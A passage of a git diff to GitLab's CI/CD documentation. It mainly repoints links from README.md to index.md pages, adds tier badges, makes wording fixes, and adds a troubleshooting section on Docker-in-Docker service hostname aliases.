[overridden](../variables/index.md#cicd-variable-precedence). ### Controlling the ChatOps reply diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md index 4d3f12dff05..7eaafcf21bb 100644 --- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md +++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md @@ -20,7 +20,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository:  - GitLab imports the repository and enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository). + GitLab imports the repository and enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pull-from-a-remote-repository). 1. In GitLab create a [Personal Access Token](../../user/profile/personal_access_tokens.md) diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md index c6fa049dc6e..7a79794f322 100644 --- a/doc/ci/ci_cd_for_external_repos/github_integration.md +++ b/doc/ci/ci_cd_for_external_repos/github_integration.md @@ -22,7 +22,7 @@ cannot be used to authenticate with GitHub as an external CI/CD repository. ## Connect with Personal Access Token Personal access tokens can only be used to connect GitHub.com -repositories to GitLab, and the GitHub user must have the [owner role](https://docs.github.com/en/github/getting-started-with-github/access-permissions-on-github). +repositories to GitLab, and the GitHub user must have the [owner role](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github). To perform a one-off authorization with GitHub to grant GitLab access your repositories: @@ -46,7 +46,7 @@ repositories: GitLab: 1. Imports the project. -1. Enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) +1. Enables [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pull-from-a-remote-repository) 1. Enables [GitHub project integration](../../user/project/integrations/github.md) 1. Creates a web hook on GitHub to notify GitLab of new commits. diff --git a/doc/ci/cloud_deployment/ecs/quick_start_guide.md b/doc/ci/cloud_deployment/ecs/quick_start_guide.md index a801be549df..9cf9d2a1f06 100644 --- a/doc/ci/cloud_deployment/ecs/quick_start_guide.md +++ b/doc/ci/cloud_deployment/ecs/quick_start_guide.md @@ -14,7 +14,7 @@ In this guide, you begin by creating an ECS cluster manually using the AWS conso deploy a simple application that you create from a GitLab template. These instructions work for both SaaS and self-managed GitLab instances. -Ensure your own [runners are configured](../../runners/README.md). +Ensure your own [runners are configured](../../runners/index.md). ## Prerequisites @@ -211,7 +211,7 @@ Do not share the secret access key in a public place. You must save it in a secu ### Setup credentials in GitLab to let pipeline jobs access to ECS -You can register the access information in [GitLab Environment Variables](../../variables/README.md#custom-cicd-variables). +You can register the access information in [GitLab Environment Variables](../../variables/index.md#custom-cicd-variables). These variables are injected into the pipeline jobs and can access the ECS API. 1. Go to **ecs-demo** project on GitLab. diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md index e8f3fe3f4d9..c14d94fcd61 100644 --- a/doc/ci/cloud_deployment/index.md +++ b/doc/ci/cloud_deployment/index.md @@ -43,7 +43,7 @@ Some credentials are required to be able to run `aws` commands: A new **Access key ID** and **Secret access key** are generated. Please take a note of them right away. 1. In your GitLab project, go to **Settings > CI/CD**. Set the following as - [CI/CD variables](../variables/README.md) + [CI/CD variables](../variables/index.md) (see table below): - Access key ID. @@ -91,7 +91,7 @@ path to point to your ECR image. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207962) in GitLab 12.9. > - The `Deploy-ECS.gitlab-ci.yml` template was [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/220821) to `AWS/Deploy-ECS.gitlab-ci.yml` in GitLab 13.2. -GitLab provides a series of [CI templates that you can include in your project](../yaml/README.md#include). +GitLab provides a series of [CI templates that you can include in your project](../yaml/index.md#include). To automate deployments of your application to your [Amazon Elastic Container Service](https://aws.amazon.com/ecs/) (AWS ECS) cluster, you can `include` the `AWS/Deploy-ECS.gitlab-ci.yml` template in your `.gitlab-ci.yml` file. @@ -101,7 +101,7 @@ GitLab also provides [Docker images](https://gitlab.com/gitlab-org/cloud-deploy/ - Use `registry.gitlab.com/gitlab-org/cloud-deploy/aws-ecs:latest` to deploy your application to AWS ECS. Before getting started with this process, you need a cluster on AWS ECS, as well as related -components, like an ECS service, ECS task definition, a database on AWS RDS, etc. +components, like an ECS service, ECS task definition, a database on AWS RDS, and so on. [Read more about AWS ECS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html). The ECS task definition can be: @@ -117,7 +117,7 @@ After you have these prerequisites ready, follow these steps: 1. Make sure your AWS credentials are set up as CI/CD variables for your project. You can follow [the steps above](#run-aws-commands-from-gitlab-cicd) to complete this setup. 1. Add these variables to your project's `.gitlab-ci.yml` file, or in the project's - [CI/CD settings](../variables/README.md#custom-cicd-variables): + [CI/CD settings](../variables/index.md#custom-cicd-variables): - `CI_AWS_ECS_CLUSTER`: The name of the AWS ECS cluster that you're targeting for your deployments. - `CI_AWS_ECS_SERVICE`: The name of the targeted service tied to your AWS ECS cluster. @@ -146,7 +146,7 @@ After you have these prerequisites ready, follow these steps: ``` You can create your `CI_AWS_ECS_TASK_DEFINITION_FILE` variable as a - [file-typed CI/CD variable](../variables/README.md#cicd-variable-types) instead of a + [file-typed CI/CD variable](../variables/index.md#cicd-variable-types) instead of a regular CI/CD variable. If you choose to do so, set the variable value to be the full contents of the JSON task definition. You can then remove the JSON file from your project. @@ -231,7 +231,7 @@ pass three JSON input objects, based on existing templates: - [Template for the _Create stack_ step on AWS](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-anatomy.html). - Template for the _Push to S3_ step. Note that `source` is where a preceding `build` job built - your application, exporting the build through [`artifacts:paths`](../yaml/README.md#artifactspaths): + your application, exporting the build through [`artifacts:paths`](../yaml/index.md#artifactspaths): ```json { @@ -257,7 +257,7 @@ pass three JSON input objects, based on existing templates: CI_AWS_EC2_DEPLOYMENT_FILE: 'aws/create_deployment.json' ``` - - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#cicd-variable-types). + - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/index.md#cicd-variable-types). In your project, go to **Settings > CI/CD > Variables** and add the three variables listed above as file-typed CI/CD variables. For each variable, set the value to its corresponding JSON object. diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md index e9725a29fc7..d965d4b83f9 100644 --- a/doc/ci/directed_acyclic_graph/index.md +++ b/doc/ci/directed_acyclic_graph/index.md @@ -66,9 +66,9 @@ as quickly as possible. ## Usage -Relationships are defined between jobs using the [`needs:` keyword](../yaml/README.md#needs). +Relationships are defined between jobs using the [`needs:` keyword](../yaml/index.md#needs). -Note that `needs:` also works with the [parallel](../yaml/README.md#parallel) keyword, +Note that `needs:` also works with the [parallel](../yaml/index.md#parallel) keyword, giving you powerful options for parallelization within your pipeline. ## Limitations @@ -76,7 +76,7 @@ giving you powerful options for parallelization within your pipeline. A directed acyclic graph is a complicated feature, and as of the initial MVC there are certain use cases that you may need to work around. For more information: -- [`needs` requirements and limitations](../yaml/README.md#requirements-and-limitations). +- [`needs` requirements and limitations](../yaml/index.md#requirements-and-limitations). - Related epic [tracking planned improvements](https://gitlab.com/groups/gitlab-org/-/epics/1716). ## Needs Visualization diff --git a/doc/ci/docker/README.md b/doc/ci/docker/README.md deleted file mode 100644 index 577a80407d7..00000000000 --- a/doc/ci/docker/README.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -redirect_to: 'index.md' -remove_date: '2021-05-01' ---- - -This document was moved to [another location](index.md). - -<!-- This redirect file can be deleted after 2021-05-01. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/docker/index.md b/doc/ci/docker/index.md index 20599c5ca85..4f6da72af12 100644 --- a/doc/ci/docker/index.md +++ b/doc/ci/docker/index.md @@ -6,9 +6,9 @@ comments: false type: index --- -# Docker integration +# Docker integration **(FREE)** -There are two primary ways to incorporate [Docker](https://www.docker.com) in your CI/CD workflow. +There are two primary ways to incorporate [Docker](https://www.docker.com) into your CI/CD workflow: - **[Run your CI/CD jobs](using_docker_images.md) in Docker containers.** diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index 9dac08324c8..c56bc9a4dc8 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts, howto --- -# Use Docker to build Docker images +# Use Docker to build Docker images **(FREE)** You can use GitLab CI/CD with Docker to create Docker images. For example, you can create a Docker image of your application, @@ -25,8 +25,8 @@ To enable Docker commands for your CI/CD jobs, you can use: If you don't want to execute a runner in privileged mode, but want to use `docker build`, you can also [use kaniko](using_kaniko.md). -If you are using shared runners on GitLab.com, -[learn more about how these runners are configured](../runners/README.md). +If you are using shared runners on GitLab.com, +[learn more about how these runners are configured](../runners/index.md). ### Use the shell executor @@ -90,7 +90,7 @@ The Docker image has all of the `docker` tools installed and can run the job script in context of the image in privileged mode. We recommend you use [Docker-in-Docker with TLS enabled](#docker-in-docker-with-tls-enabled), -which is supported by [GitLab.com shared runners](../runners/README.md). +which is supported by [GitLab.com shared runners](../runners/index.md). You should always specify a specific version of the image, like `docker:19.03.12`. If you use a tag like `docker:stable`, you have no control over which version is used. @@ -577,7 +577,7 @@ don't work because a fresh Docker daemon is started with the service. ### Option 1: Run `docker login` -In [`before_script`](../yaml/README.md#before_script), run `docker +In [`before_script`](../yaml/index.md#before_script), run `docker login`: ```yaml @@ -682,10 +682,10 @@ There are multiple ways to define this authentication: - In [`pre_build_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) in the runner configuration file. -- In [`before_script`](../yaml/README.md#before_script). -- In [`script`](../yaml/README.md#script). +- In [`before_script`](../yaml/index.md#before_script). +- In [`script`](../yaml/index.md#script). -The following example shows [`before_script`](../yaml/README.md#before_script). +The following example shows [`before_script`](../yaml/index.md#before_script). The same commands apply for any solution you implement. ```yaml @@ -798,7 +798,7 @@ which can be avoided if a different driver is used, for example `overlay2`. ### Use the OverlayFS driver per project You can enable the driver for each project individually by using the `DOCKER_DRIVER` -[CI/CD variable](../yaml/README.md#variables) in `.gitlab-ci.yml`: +[CI/CD variable](../yaml/index.md#variables) in `.gitlab-ci.yml`: ```yaml variables: @@ -840,3 +840,30 @@ This issue occurs because Docker starts on TLS automatically. [use the Docker executor with the Docker image](#use-the-docker-executor-with-the-docker-image-docker-in-docker). - If you are upgrading from v18.09 or earlier, read our [upgrade guide](https://about.gitlab.com/blog/2019/07/31/docker-in-docker-with-docker-19-dot-03/). + +### Docker `no such host` error + +You may get an error that says +`docker: error during connect: Post https://docker:2376/v1.40/containers/create: dial tcp: lookup docker on x.x.x.x:53: no such host`. + +This issue can occur when the service's image name +[includes a registry hostname](../../ci/services/index.md#available-settings-for-services). For example: + +```yaml +image: docker:19.03.12 + +services: + - registry.hub.docker.com/library/docker:19.03.12-dind +``` + +A service's hostname is [derived from the full image name](../../ci/services/index.md#accessing-the-services). +However, the shorter service hostname `docker` is expected. +To allow service resolution and access, add an explicit alias for the service name `docker`: + +```yaml +image: docker:19.03.12 + +services: + - name: registry.hub.docker.com/library/docker:19.03.12-dind + alias: docker +``` diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md index 29f4053f720..c2991ce66f9 100644 --- a/doc/ci/docker/using_docker_images.md +++ b/doc/ci/docker/using_docker_images.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts, howto --- -# Run your CI/CD jobs in Docker containers +# Run your CI/CD jobs in Docker containers **(FREE)** You can run your CI/CD jobs in separate, isolated Docker containers. @@ -153,9 +153,9 @@ CI/CD jobs: from `Dockerfile` that may be overridden in the `.gitlab-ci.yml` file. 1. The runner attaches itself to a running container. 1. The runner prepares a script (the combination of - [`before_script`](../yaml/README.md#before_script), - [`script`](../yaml/README.md#script), - and [`after_script`](../yaml/README.md#after_script)). + [`before_script`](../yaml/index.md#before_script), + [`script`](../yaml/index.md#script), + and [`after_script`](../yaml/index.md#after_script)). 1. The runner sends the script to the container's shell `stdin` and receives the output. @@ -225,7 +225,7 @@ To access private container registries, the GitLab Runner process can use: To define which option should be used, the runner process reads the configuration in this order: - A `DOCKER_AUTH_CONFIG` variable provided as either: - - A [CI/CD variable](../variables/README.md) in the `.gitlab-ci.yml` file. + - A [CI/CD variable](../variables/index.md) in the `.gitlab-ci.yml` file. - A project's variables stored on the project's **Settings > CI/CD** page. - A `DOCKER_AUTH_CONFIG` variable provided as environment variable in the runner's `config.toml` file. - A `config.json` file in `$HOME/.docker` directory of the user running the process. @@ -322,7 +322,7 @@ Use one of the following methods to determine the value of `DOCKER_AUTH_CONFIG`: To configure a single job with access for `registry.example.com:5000`, follow these steps: -1. Create a [CI/CD variable](../variables/README.md) `DOCKER_AUTH_CONFIG` with the content of the +1. Create a [CI/CD variable](../variables/index.md) `DOCKER_AUTH_CONFIG` with the content of the Docker configuration file as the value: ```json @@ -395,7 +395,7 @@ To configure a Credentials Store: 1. Make GitLab Runner use it. There are two ways to accomplish this. Either: - Create a - [CI/CD variable](../variables/README.md) + [CI/CD variable](../variables/index.md) `DOCKER_AUTH_CONFIG` with the content of the Docker configuration file as the value: @@ -427,7 +427,7 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th Make sure that GitLab Runner can access the credentials. 1. Make GitLab Runner use it. There are two ways to accomplish this. Either: - - Create a [CI/CD variable](../variables/README.md) + - Create a [CI/CD variable](../variables/index.md) `DOCKER_AUTH_CONFIG` with the content of the Docker configuration file as the value: diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index 05769cc8f75..108d4e0dcad 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Use kaniko to build Docker images +# Use kaniko to build Docker images **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45512) in GitLab 11.2. Requires GitLab Runner 11.2 and above. @@ -49,7 +49,7 @@ In the following example, kaniko is used to: The job runs only when a tag is pushed. A `config.json` file is created under `/kaniko/.docker` with the needed GitLab Container Registry credentials taken from the -[predefined CI/CD variables](../variables/README.md#predefined-cicd-variables) +[predefined CI/CD variables](../variables/index.md#predefined-cicd-variables) GitLab CI/CD provides. In the last step, kaniko uses the `Dockerfile` under the @@ -133,7 +133,7 @@ The [Least Privilege Container Builds with Kaniko on GitLab](https://www.youtube video is a walkthrough of the [Kaniko Docker Build](https://gitlab.com/guided-explorations/containers/kaniko-docker-build) Guided Exploration project pipeline. It was tested on: -- [GitLab.com shared runners](../runners/README.md) +- [GitLab.com shared runners](../runners/index.md) - [The Kubernetes runner executor](https://docs.gitlab.com/runner/executors/kubernetes.html) The example can be copied to your own group or instance for testing. More details diff --git a/doc/ci/enable_or_disable_ci.md b/doc/ci/enable_or_disable_ci.md index 4633cc1a3f8..341727f0f5d 100644 --- a/doc/ci/enable_or_disable_ci.md +++ b/doc/ci/enable_or_disable_ci.md @@ -5,13 +5,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# How to enable or disable GitLab CI/CD +# How to enable or disable GitLab CI/CD **(FREE)** To effectively use GitLab CI/CD, you need: -- A valid [`.gitlab-ci.yml`](yaml/README.md) file present at the root directory +- A valid [`.gitlab-ci.yml`](yaml/index.md) file present at the root directory of your project. -- A [runner](runners/README.md) properly set up. +- A [runner](runners/index.md) properly set up. You can read our [quick start guide](quick_start/index.md) to get you started. diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index c57dc99f341..033e499d3d0 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -25,7 +25,8 @@ If you are using a continuous deployment workflow and want to ensure that concur ## Restrict write access to a critical environment -By default, environments can be modified by any team member that has [Developer permission or higher](../../user/permissions.md#project-members-permissions). +By default, environments can be modified by any team member that has at least the +[Developer role](../../user/permissions.md#project-members-permissions). If you want to restrict write access to a critical environment (for example a `production` environment), you can set up [protected environments](protected_environments.md). @@ -35,7 +36,7 @@ Pipeline jobs in GitLab CI/CD run in parallel, so it's possible that two deploym jobs in two different pipelines attempt to deploy to the same environment at the same time. This is not desired behavior as deployments should happen sequentially. -You can ensure only one deployment job runs at a time with the [`resource_group` keyword](../yaml/README.md#resource_group) in your `.gitlab-ci.yml`. +You can ensure only one deployment job runs at a time with the [`resource_group` keyword](../yaml/index.md#resource_group) in your `.gitlab-ci.yml`. For example: @@ -59,7 +60,7 @@ The improved pipeline flow **after** using the resource group: 1. `deploy` job in Pipeline-A finishes. 1. `deploy` job in Pipeline-B starts running. -For more information, see [`resource_group` keyword in `.gitlab-ci.yml`](../yaml/README.md#resource_group). +For more information, see [`resource_group` keyword in `.gitlab-ci.yml`](../yaml/index.md#resource_group). ## Skip outdated deployment jobs @@ -110,7 +111,7 @@ for an explanation of these roles and the permissions of each. Production secrets are needed to deploy successfully. For example, when deploying to the cloud, cloud providers require these secrets to connect to their services. In the project settings, you can -define and protect CI/CD variables for these secrets. [Protected variables](../variables/README.md#protect-a-cicd-variable) +define and protect CI/CD variables for these secrets. [Protected variables](../variables/index.md#protect-a-cicd-variable) are only passed to pipelines running on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines don't get the protected variable. You can also @@ -129,7 +130,7 @@ All project maintainers have access to production secrets. If you need to limit that can deploy to a production environment, you can create a separate project and configure a new permission model that isolates the CD permissions from the original project and prevents the original project's maintainers from accessing the production secret and CD configuration. You can -connect the CD project to your development projects by using [multi-project pipelines](../multi_project_pipelines.md). +connect the CD project to your development projects by using [multi-project pipelines](../pipelines/multi_project_pipelines.md). ## Protect `gitlab-ci.yml` from change @@ -141,7 +142,7 @@ reference a file in another project with a completely different set of permissio In this scenario, the `gitlab-ci.yml` is publicly accessible, but can only be edited by users with appropriate permissions in the other project. -For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#custom-cicd-configuration-file). +For more information, see [Custom CI/CD configuration path](../pipelines/settings.md#specify-a-custom-cicd-configuration-file). ## Troubleshooting diff --git a/doc/ci/environments/environments_dashboard.md b/doc/ci/environments/environments_dashboard.md index a89bc1c89aa..ae459b9016c 100644 --- a/doc/ci/environments/environments_dashboard.md +++ b/doc/ci/environments/environments_dashboard.md @@ -29,7 +29,7 @@ The Environments dashboard displays a paginated list of projects that includes up to three environments per project. The listed environments for each project are unique, such as -"production", "staging", etc. Review apps and other grouped +"production", "staging", and so on. Review apps and other grouped environments are not displayed. ## Adding a project to the dashboard diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 62c58302886..e647a704a87 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -10,7 +10,7 @@ disqus_identifier: 'https://docs.gitlab.com/ee/ci/environments.html' Environments describe where code is deployed. -Each time [GitLab CI/CD](../yaml/README.md) deploys a version of code to an environment, +Each time [GitLab CI/CD](../yaml/index.md) deploys a version of code to an environment, a deployment is created. GitLab: @@ -84,7 +84,7 @@ When the job runs, the environment and deployment are created. NOTE: Some characters cannot be used in environment names. For more information about the `environment` keywords, see -[the `.gitlab-ci.yml` keyword reference](../yaml/README.md#environment). +[the `.gitlab-ci.yml` keyword reference](../yaml/index.md#environment). ### Create a dynamic environment @@ -107,7 +107,7 @@ deploy_review: In this example: -- The `name` is `review/$CI_COMMIT_REF_NAME`. Because the [environment name](../yaml/README.md#environmentname) +- The `name` is `review/$CI_COMMIT_REF_NAME`. Because the [environment name](../yaml/index.md#environmentname) can contain slashes (`/`), you can use this pattern to distinguish between dynamic and static environments. - For the `url`, you could use `$CI_COMMIT_REF_NAME`, but because this value may contain a `/` or other characters that would not be valid in a domain name or URL, @@ -119,7 +119,7 @@ However, when you use this format, you can [group similar environments](#group-s NOTE: Some variables cannot be used as environment names or URLs. For more information about the `environment` keywords, see -[the `.gitlab-ci.yml` keyword reference](../yaml/README.md#environment). +[the `.gitlab-ci.yml` keyword reference](../yaml/index.md#environment). ## Deployment tier of environments @@ -141,8 +141,8 @@ you can use tiers: | `development` | Dev, [Review apps](../review_apps/index.md), Trunk | | `other` | | -By default, GitLab assumes a tier based on [the environment name](../yaml/README.md#environmentname). -Instead, you can use the [`deployment_tier` keyword](../yaml/README.md#environmentdeployment_tier) to specify a tier. +By default, GitLab assumes a tier based on [the environment name](../yaml/index.md#environmentname). +Instead, you can use the [`deployment_tier` keyword](../yaml/index.md#environmentdeployment_tier) to specify a tier. ## Configure manual deployments @@ -250,7 +250,7 @@ GitLab supports the [dotenv (`.env`)](https://github.com/bkeepers/dotenv) file f and expands the `environment:url` value with variables defined in the `.env` file. To use this feature, specify the -[`artifacts:reports:dotenv`](../yaml/README.md#artifactsreportsdotenv) keyword in `.gitlab-ci.yml`. +[`artifacts:reports:dotenv`](../yaml/index.md#artifactsreportsdotenv) keyword in `.gitlab-ci.yml`. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [Set dynamic URLs after a job finished](https://youtu.be/70jDXtOf4Ig). @@ -302,7 +302,7 @@ Note the following: - If the environment URL isn't valid (for example, the URL is malformed), the system doesn't update the environment URL. - If the script that runs in `stop_review` exists only in your repository and therefore can't use - `GIT_STRATEGY: none`, configure [pipelines for merge requests](../../ci/merge_request_pipelines/index.md) + `GIT_STRATEGY: none`, configure [pipelines for merge requests](../../ci/pipelines/merge_request_pipelines.md) for these jobs. This ensures that runners can fetch the repository even after a feature branch is deleted. For more information, see [Ref Specs for Runners](../pipelines/index.md#ref-specs-for-runners). @@ -334,7 +334,7 @@ To retry or rollback a deployment: ### Environment URL -The [environment URL](../yaml/README.md#environmenturl) is displayed in a few +The [environment URL](../yaml/index.md#environmenturl) is displayed in a few places in GitLab: - In a merge request as a link: @@ -364,7 +364,7 @@ When you stop an environment: - On the **Environments** page, it moves from the list of **Available** environments to the list of **Stopped** environments. -- An [`on_stop` action](../yaml/README.md#environmenton_stop), if defined, is executed. +- An [`on_stop` action](../yaml/index.md#environmenton_stop), if defined, is executed. Dynamic environments stop automatically when their associated branch is deleted. @@ -400,20 +400,20 @@ stop_review: when: manual ``` -Both jobs must have the same [`rules`](../yaml/README.md#only--except) -or [`only/except`](../yaml/README.md#only--except) configuration. Otherwise, +Both jobs must have the same [`rules`](../yaml/index.md#only--except) +or [`only/except`](../yaml/index.md#only--except) configuration. Otherwise, the `stop_review` job might not be included in all pipelines that include the `deploy_review` job, and you cannot trigger `action: stop` to stop the environment automatically. The job with [`action: stop` might not run](#the-job-with-action-stop-doesnt-run) if it's in a later stage than the job that started the environment. -If you can't use [pipelines for merge requests](../merge_request_pipelines/index.md), +If you can't use [pipelines for merge requests](../pipelines/merge_request_pipelines.md), set the [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy) to `none` in the `stop_review` job. Then the [runner](https://docs.gitlab.com/runner/) doesn't try to check out the code after the branch is deleted. -Read more in the [`.gitlab-ci.yml` reference](../yaml/README.md#environmenton_stop). +Read more in the [`.gitlab-ci.yml` reference](../yaml/index.md#environmenton_stop). #### Stop an environment after a certain time period @@ -421,7 +421,7 @@ Read more in the [`.gitlab-ci.yml` reference](../yaml/README.md#environmenton_st You can set environments to stop automatically after a certain time period. -In your `.gitlab-ci.yml` file, specify the [`environment:auto_stop_in`](../yaml/README.md#environmentauto_stop_in) +In your `.gitlab-ci.yml` file, specify the [`environment:auto_stop_in`](../yaml/index.md#environmentauto_stop_in) keyword. You can specify a human-friendly date as the value, such as `1 hour and 30 minutes` or `1 day`. After the time period passes, GitLab automatically triggers a job to stop the environment. @@ -691,7 +691,7 @@ with `review/` would have that variable available. Some GitLab features can behave differently for each environment. For example, you can -[create a project CI/CD variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scope-of-a-cicd-variable). +[create a project CI/CD variable to be injected only into a production environment](../variables/index.md#limit-the-environment-scope-of-a-cicd-variable). In most cases, these features use the _environment specs_ mechanism, which offers an efficient way to implement scoping in each environment group. @@ -767,7 +767,7 @@ To ensure the `action: stop` can always run when needed, you can: when: manual ``` -- Add a [`needs`](../yaml/README.md#needs) entry to the `action: stop` job so the +- Add a [`needs`](../yaml/index.md#needs) entry to the `action: stop` job so the job can start out of stage order: ```yaml diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index c276059cb9e..9bc3c97837c 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -39,7 +39,7 @@ To protect an environment: - **Maintainers**: Allows access to all maintainers in the project. - **Developers**: Allows access to all maintainers and all developers in the project. - You can only select groups that are already associated with the project. - - Only users that have at least the Developer permission level appear in + - Only users that have at least the Developer role appear in the **Allowed to Deploy** dropdown menu. 1. Click the **Protect** button. @@ -112,7 +112,7 @@ protected environments with this method. ## Deployment branch access -Users with [Developer permissions](../../user/permissions.md) can be granted +Users with the [Developer role](../../user/permissions.md) can be granted access to a protected environment through any of these methods: - As an individual contributor, through a role. diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md index 90273190697..5ab8653dc35 100644 --- a/doc/ci/examples/README.md +++ b/doc/ci/examples/README.md @@ -1,182 +1,8 @@ --- -stage: Verify -group: Pipeline Execution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -comments: false -type: index +redirect_to: 'index.md' --- -# GitLab CI/CD Examples +This document was moved to [another location](index.md). -This page contains links to a variety of examples that can help you understand how to -implement [GitLab CI/CD](../README.md) for your specific use case. - -Examples are available in several forms. As a collection of: - -- `.gitlab-ci.yml` [template files](#cicd-templates) maintained in GitLab, for many - common frameworks and programming languages. -- Repositories with [example projects](https://gitlab.com/gitlab-examples) for various languages. You can fork and adjust them to your own needs. Projects include an example of using [Review Apps with a static site served by NGINX](https://gitlab.com/gitlab-examples/review-apps-nginx/). -- Examples and [other resources](#other-resources) listed below. - -## CI/CD examples - -The following table lists examples with step-by-step tutorials that are contained in this section: - -| Use case | Resource | -|-------------------------------|----------| -| Browser performance testing | [Browser Performance Testing with the Sitespeed.io container](../../user/project/merge_requests/browser_performance_testing.md). | -| Deployment with Dpl | [Using `dpl` as deployment tool](deployment/README.md). | -| GitLab Pages | See the [GitLab Pages](../../user/project/pages/index.md) documentation for a complete example of deploying a static site. | -| End-to-end testing | [End-to-end testing with GitLab CI/CD and WebdriverIO](end_to_end_testing_webdriverio/index.md). | -| Load performance testing | [Load Performance Testing with the k6 container](../../user/project/merge_requests/load_performance_testing.md). | -| Multi project pipeline | [Build, test deploy using multi project pipeline](https://gitlab.com/gitlab-examples/upstream-project). | -| npm with semantic-release | [Publish npm packages to the GitLab Package Registry using semantic-release](semantic-release.md). | -| PHP with Laravel, Envoy | [Test and deploy Laravel applications with GitLab CI/CD and Envoy](laravel_with_gitlab_and_envoy/index.md). | -| PHP with npm, SCP | [Running Composer and npm scripts with deployment via SCP in GitLab CI/CD](deployment/composer-npm-deploy.md). | -| PHP with PHPunit, `atoum` | [Testing PHP projects](php.md). | -| Secrets management with Vault | [Authenticating and Reading Secrets With HashiCorp Vault](authenticating-with-hashicorp-vault/index.md). | - -### Contributed examples - -You can help people that use your favorite programming language by submitting a link -to a guide for that language. These contributed guides are hosted externally or in -separate example projects: - -| Use case | Resource | -|-------------------------------|----------| -| Clojure | [Test a Clojure application with GitLab CI/CD](https://gitlab.com/gitlab-examples/clojure-web-application). | -| Game development | [DevOps and Game Development with GitLab CI/CD](https://gitlab.com/gitlab-examples/gitlab-game-demo/). | -| Java with Maven | [How to deploy Maven projects to Artifactory with GitLab CI/CD](https://gitlab.com/gitlab-examples/maven/simple-maven-example). | -| Java with Spring Boot | [Deploy a Spring Boot application to Cloud Foundry with GitLab CI/CD](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo). | -| Parallel testing Ruby & JS | [GitLab CI/CD parallel jobs testing for Ruby & JavaScript projects](https://docs.knapsackpro.com/2019/how-to-run-parallel-jobs-for-rspec-tests-on-gitlab-ci-pipeline-and-speed-up-ruby-javascript-testing). | -| Python on Heroku | [Test and deploy a Python application with GitLab CI/CD](https://gitlab.com/gitlab-examples/python-getting-started). | -| Ruby on Heroku | [Test and deploy a Ruby application with GitLab CI/CD](https://gitlab.com/gitlab-examples/ruby-getting-started). | -| Scala on Heroku | [Test and deploy a Scala application to Heroku](https://gitlab.com/gitlab-examples/scala-sbt). | - -## CI/CD templates - -Get started with GitLab CI/CD and your favorite programming language or framework by using a -`.gitlab-ci.yml` [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). - -When you create a `gitlab-ci.yml` file in the UI, you can -choose one of these templates: - -- [Android (`Android.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Android.gitlab-ci.yml) -- [Android with fastlane (`Android-Fastlane.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Android-Fastlane.gitlab-ci.yml) -- [Bash (`Bash.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Bash.gitlab-ci.yml) -- [C++ (`C++.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/C++.gitlab-ci.yml) -- [Chef (`Chef.gitlab-ci.yml`)](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Chef.gitlab-ci.yml) -- 